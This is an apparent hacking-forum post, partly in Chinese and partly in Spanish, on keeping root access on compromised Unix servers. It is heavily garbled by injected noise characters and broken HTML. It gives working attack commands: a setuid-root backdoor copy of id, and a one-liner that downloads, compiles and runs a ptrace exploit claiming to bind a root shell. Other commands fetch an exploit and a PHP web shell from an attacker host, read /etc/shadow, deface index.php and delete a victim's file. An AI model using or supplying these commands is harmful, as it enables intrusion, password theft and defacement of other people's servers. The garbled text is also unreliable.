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总结UNIX成为root以后保持权限的方法

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发表于 2005-2-4 23:57 |只看该作者 |倒序浏览
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<><FONT color=#ff0000>by:cnbird</FONT></P>
' ~  e4 u+ f; {' \3 M9 y! Q, E<>1.</P>+ {, @* q9 X5 B. L: O
<>[cnbird@localhost tmp]#id</P>
; `# `9 U$ p9 }$ Q<>uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk)</P>9 U/ z+ B; A& h# c5 [
<>[cnbird@localhost tmp]#cp `which id ` .</P>  f! S8 g+ R6 d7 p2 |6 P
<>[cnbird@localhost tmp]#chown root ./id</P>0 j, l* c# @9 o) y
<>[cnbird@localhost tmp]#chmod 755 ./id ; chmod u+s ./id</P>
7 g/ |8 W) J! J+ C! _<>[cnbird@localhost tmp]#ls -l ./id</P>
  C/ z& U7 a2 W$ K9 O) E<>-rwsr-xr-x 1 root root 9264 Mar 8 21:36 ./id*</P>
# j' `* L. Y$ e& x<>[cnbird@localhost tmp]#exit</P>
" I; i0 G' C1 I<>[cnbird@localhost tmp]$id</P>% l& {# }  c/ E" ^
<>uid=500(cnbird) gid=500(cnbird) groups=500(cnbird)</P>8 H4 k- u, q2 Z
<>[cnbird@localhost tmp]$./id </P>
  ~) ?3 b/ K- L# I<>uid=500(cnbird) gid=500(cnbird) euid=0(root) groups=500(cnbird)</P>
* D! p( \7 i* u% n7 i<>2.利用ptrace成为root的方法</P>& f' f4 }* e1 z" G/ \( _) I* \
<>[bash]# cd /tmp/; wget <a href="http://delivered.informaticahispana.org/ptrace.c" target="_blank" ><FONT color=#0000ff>http://delivered.informaticahispana.org/ptrace.c</FONT></A>; gcc ptrace.c -o ptrace; chmod -c 777 ptrace; ./ptrace
: u$ z* s2 X" O5 N* @5 p2 ]% ]5 O-&gt; Parent's PID is 2313. Child's PID is 2314.2 i# [, I7 {* W  B
-&gt; Attaching to 2315...9 Z) e5 U+ `' t( Q3 L
-&gt; Got the thread!!" m5 b0 c# d' I7 a& {. b
-&gt; Waiting for the next signal...
9 \9 ~& V8 L4 ?3 Z* W4 J" G-&gt; Injecting shellcode at 0x4000e85d
$ ~# [1 @9 r) S) U( T-&gt; Bind root shell on port 24876... =p
7 u% Z7 O- }5 B4 p-&gt; Detached from modprobe thread.
0 }) u( c% |8 S) k$ H' c-&gt; Committing suicide.....</P>6 s& P8 Y) N: O1 y; a/ {: w
<>[bash]# id8 P+ m1 \& L9 @* s
uid=0(root) gid=0(root) groups=0(root)</P>+ l+ r! T( a, m/ H' X
<>ara ver los dominios que hay en el server:
( J1 v7 I4 @9 n. y& f6 l---------------------------------------------------------
- _7 R! P0 x/ K2 Hcat /etc/httpd/conf/httpd.conf|grep ServerName &lt;&lt; Solo salen los dominios1 N; X) i6 m  R5 ?, [
cat /etc/httpd/conf/httpd.conf &lt;&lt; Unicamente los puros dominios0 N2 J) l- T1 y; ~, r
cat /etc/localdomains &lt;&lt; Unicamente los dominios locales
& z7 Y( \+ [* B7 |% b& zcat /etc/trueuserdomains &lt;&lt; Revela los verdades propietarios de cada dominio " V. h9 x* |2 C8 x5 G; f; {
cat /etc/userdomains &lt;&lt; Este es el mas comun
3 w1 D. u8 r3 p# P2 k---------------------------------------------------------</P>
, b: U  ]" ?; `3 d<>ara ver la version de kernel:$ U4 A& J2 Q6 t: ~$ L2 \
---------------------------------------------------------
% W% G, ?; p' l0 E) ^+ j6 Cuname -a &lt;&lt;Te sale algo asi Linux itys.host4u.net 2.4.20....., 2.4.20 viene siendo la version del kernel.
& z$ _/ ]% I3 Y$ M+ |, e---------------------------------------------------------</P>
& y* g6 ]5 ^/ C* G$ g  b- M  ?<>ara modificar un index ya existente:3 x  Q1 |9 M; ?" u
---------------------------------------------------------2 v; k/ Q" `! r
echo "RootBox was OwNz You"&gt;index.php &lt;&lt;sobreescribe el archivo index.php con nuevo contenido# U: ^# X$ e5 y; m* c& \3 g
---------------------------------------------------------</P>
' Z- E( j* q$ w2 F8 g' F8 y3 A<>ara subir, compilar, darle permisos de ejecucion y ejecutar un exploit:6 L9 Z* @7 C. I8 @! U
---------------------------------------------------------% J+ ?2 v" S2 F% `9 Z: m, L
cd /tmp/;wget <a href="http://web<a%20href=/" target="_blank" >_</A>atacante/exploit.c"&gt;<FONT color=#0000ff>http://web<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>atacante/exploit.c</FONT></A> &lt;&lt;aqui subimos el exploit% v- Y" C* c+ T- _+ n$ Y( \
cd /tmp/;cc exploit.c -o exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui lo compilamos con el nombre de "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado"
. L% h0 ~6 m8 ^cd /tmp/;chmod -c 777 exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui le damos permisos de ejecucion a "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado"
4 k, \$ K1 r' N7 Q3 `cd /tmp/;./exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui estamos ejecutando a "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado". 4 P0 G2 I8 X7 ]5 n: B- H9 _- a* Q
Hasta aqui termina el proceso para un exploit.
$ ]/ {1 v  w% |& Q---------------------------------------------------------</P>9 o4 W! ~4 M- P# t, o, U# p( B
<>Ver las contrase&ntilde;as encriptadas de todos los usuarios:. h5 a/ P! V: E% [
---------------------------------------------------------
* |# k" L; B5 `% j+ v( g) N! v3 ^" Rcat /etc/shadow &lt;&lt;Solo funciona si tienes permisos como root.9 ]( Q' ~0 O+ s. k9 T1 C, p- c
---------------------------------------------------------</P>. s6 ]/ e1 q1 M4 w
<>Borrar un Ficher6 K1 e# _: y0 e8 e* |
---------------------------------------------------------/ E5 [! ~5 X6 v, k( R* l* y
cd /home/juan/public<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>html/;rm import.htm&lt;&lt;aqui estan borrando con el comando rm, el fichero import.htm- Z3 S: X5 B7 F) h& z0 k& k4 b
---------------------------------------------------------</P>% w5 [6 b( ?5 i& z
<>Subir un ficher
  W& M! b1 \* X& d---------------------------------------------------------9 \8 W7 H, S) K' B
cd /home/juan/public<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>html/;wget <a href="http://web<a%20href=/" target="_blank" >_</A>atacante/shell.php&lt;<ESTAMOS"><FONT color=#0000ff>http://web<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>atacante/shell.php&lt;&lt;Estamos</FONT></A> subiendo el fichero shell.php</P>/ f+ |* p* K) ~- y' e$ V7 {
<>1 b8 Y1 ?4 U; B; n) a
<CENTER></CENTER>
zan
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